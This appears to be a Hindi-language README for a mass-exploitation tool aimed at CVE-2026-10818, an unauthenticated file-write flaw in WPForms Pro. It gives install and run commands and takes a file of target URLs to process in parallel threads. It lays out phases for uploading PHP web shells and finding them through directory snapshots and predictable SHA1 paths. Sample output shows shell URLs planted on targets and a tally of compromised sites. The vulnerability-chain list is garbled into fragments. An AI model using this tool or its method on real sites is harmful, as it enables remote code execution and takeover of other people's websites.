
WPForms Pro <= 1.10.1.1 - बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन, खंडित अपलोड Init/Finalize क्रम के माध्यम से
WPForms Pro <= 1.10.1.1 - खंडित अपलोड Init/Finalize क्रम के माध्यम से बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन
प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट
खंडित अपलोड Init/Finalize क्रम → पूर्वानुमानित पथ प्रकटीकरण → रिमोट कोड निष्पादन
| फ़ील्ड | विवरण |
|---|
| सीवीई आईडी | CVE-2026-10818 |
| प्रभावित प्लगिन | WPForms Pro (WordPress) |
| प्रभावित संस्करण | 1.10.1.1 तक के सभी संस्करण |
| प्रकार | बिना प्रमाणीकरण के मनमाना फ़ाइल लेखन |
| CWE | CWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड |
| CVSS 3.1 | 8.1 उच्च — CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण | कोई आवश्यक नहीं |
WordPress के लिए WPForms Pro प्लगिन ajax_chunk_upload_finalize फ़ंक्शन के माध्यम से 1.10.1.1 तक के सभी संस्करणों में मनमाना फ़ाइल अपलोड भेद्यता के प्रति संवेदनशील है। ऐसा इसलिए है क्योंकि फ़ाइल प्रकार सत्यापन चंक मेटाडेटा और फ़ाइल सामग्री के डिस्क पर लिखे जाने के बाद होता है, और सत्यापन विफल होने पर इकट्ठी की गई फ़ाइल हटाई नहीं जाती। यह बिना प्रमाणीकरण वाले हमलावरों के लिए ऐसी फ़ाइलें अपलोड करना संभव बनाता है जो निष्पादन योग्य हो सकती हैं, जिससे रिमोट कोड निष्पादन संभव हो जाता है।
wpforms_upload_chunk_init → Metadata created BEFORE extension validation
wpforms_upload_chunk → Chunk bytes written regardless of init result
wpforms_file_chunks_uploaded → File assembled BEFORE type validation
→ File persists on disk even when validation fails
भेद्यता श्रृंखला खंडित अपलोड जीवनचक्र में एक महत्वपूर्ण क्रम दोष का शोषण करती है:
SHA1(UUID)-0.chunk) पर लिखता हैwp_ajax_nopriv_*)readme.txt और HTML स्रोत पढ़ता हैwpforms_upload_chunk_init की बाहरी पहुँच की पुष्टि करता हैSHA1(UUID) के माध्यम से निर्धारणात्मक फ़ाइल पथों के लिएSHA1(client-controlled UUID) की गणना करता है/wpforms/tmp/ के स्नैपशॉट लेता है<32hex>.<ext> फ़ाइलनाम पैटर्न के लिए सभी प्रतिक्रिया निकायों और हेडर को स्कैन करता है.chunk/x.php, /.php) का प्रयास करता हैPython >= 3.8
pip install requests urllib3 beautifulsoup4
beautifulsoup4वैकल्पिक है लेकिन अधिक विश्वसनीय फ़ॉर्म फ़ील्ड निष्कर्षण के लिए अनुशंसित है।
python CVE-2026-10818.py
आपसे निम्नलिखित के लिए संकेत दिया जाएगा:
| संकेत | विवरण | डिफ़ॉल्ट |
|---|---|---|
| लक्ष्य फ़ाइल | एक टेक्स्ट फ़ाइल का पथ जिसमें प्रति पंक्ति एक लक्ष्य हो | list.txt |
| थ्रेड्स | समवर्ती कार्यकर्ताओं की संख्या (1–20) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
प्रति पंक्ति एक URL। http://, https://, बेयर डोमेन, IP, और सबडायरेक्ट्री इंस्टॉलेशन का समर्थन करता है।
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ ┃
┃ ██▄ ██ ██ ██ ┃
┃ ████ ██ ████ ┃
┃ ██ ██ ██ ██ ┃
┃ ██ ████ ████ ┃
┃ ██ ███ ██ ██ ┃
┃ ┃
┃ Nxploited ━ Khaled Alenazi ━ T.m @Kxploit ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
┃ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 ┃
┃ Chunked Upload → Predictable Path → RCE ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
स्कैन के दौरान, प्रत्येक लक्ष्य लेबल किए गए चरणों से गुजरता है:
02:14:52 ◆ target.com VER WPForms 1.9.3.1 vulnerable
02:14:53 ◆ target.com FORM 1 upload form(s) on /contact
02:14:53 ◆ target.com UPLOAD 6 safe + 5 exec payloads
02:14:55 ◆ target.com FIN poly_png → a8f3...1b22.png URL returned
02:14:57 ◆ target.com DIR listing enabled, 4 file(s) before exec upload
02:14:59 ◐ target.com EXEC shell_php → finalized on disk (hash unknown)
02:15:01 ◆ target.com DIR 1 NEW exec file(s) after upload!
● target.com SHELL dir-new:7c4f...e8a1.php https://target.com/wp-content/uploads/wpforms/tmp/7c4f...e8a1.php
सभी परिणाम Nx_hit/ में सहेजे जाते हैं:
| फ़ाइल | सामग्री |
|---|---|
Nx_shell.txt | पुष्टि किया गया RCE — URL, लेबल, और प्रतिक्रिया निकाय पूर्वावलोकन |
Nx_vuln.txt | निष्पादन सत्यापन के बिना पुष्टि किया गया मनमाना फ़ाइल लेखन |
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ COMPLETE 150 targets processed ┃
┃ ┃
┃ ● 3 shell ◐ 12 vuln ○ 85 skip ✗ 50 miss ┃
┃ ┃
┃ Results ━▸ Nx_hit/ ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
| प्रतीक | अर्थ |
|---|---|
● shell | रिमोट लक्ष्य पर PHP निष्पादन की पुष्टि हुई |
◐ vuln | फ़ाइल डिस्क पर लिखी गई, निष्पादन की पुष्टि नहीं हुई |
○ skip | लक्ष्य अप्राप्य है, पैच किया गया है, या कोई अपलोड फ़ॉर्म नहीं मिला |
✗ miss | अपलोड प्रयास विफल रहे |
Target
│
├─ Reachability (HTTPS → HTTP fallback)
├─ WPForms Version Detection
├─ Form Discovery (100+ page paths + sitemap crawl)
├─ AJAX Route Validation
│
├─ Phase 1: Safe Uploads (png/jpg/pdf + finalize → URL)
│ └─ Shell verification on returned URLs
│
├─ Phase 2: Directory Snapshot (BEFORE)
│
├─ Phase 3: Exec Uploads (php/phtml/php5/phar/shtml + finalize)
│ ├─ Leaked filename extraction from response
│ └─ Hash pattern extraction from body + headers
│
├─ Phase 4: Directory Snapshot (AFTER) → Diff → New exec files
│ └─ Shell verification on each new file
│
├─ Phase 5: Hash Leak Verification
│ └─ Build URLs from leaked hashes → Shell check
│
├─ Phase 6: Chunk-Only Uploads (no finalize → predictable SHA1 path)
│ └─ Direct access + PATH_INFO bypass probing
│
└─ Result Classification (shell / vuln / skip / miss)
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक अनुसंधान उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन सिस्टम पर करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस सॉफ़्टवेयर के उपयोग से उत्पन्न दुरुपयोग, क्षति, या किसी भी कानूनी परिणाम के लिए कोई दायित्व नहीं मानता है।
इस टूल का उपयोग करके, आप सहमत हैं कि आप अपने कार्यों के लिए पूर्ण रूप से जिम्मेदार हैं और आप सभी लागू कानूनों और विनियमों का पालन करेंगे।
द्वारा: Nxploited
Khaled Alenazi
T.m @Kxploit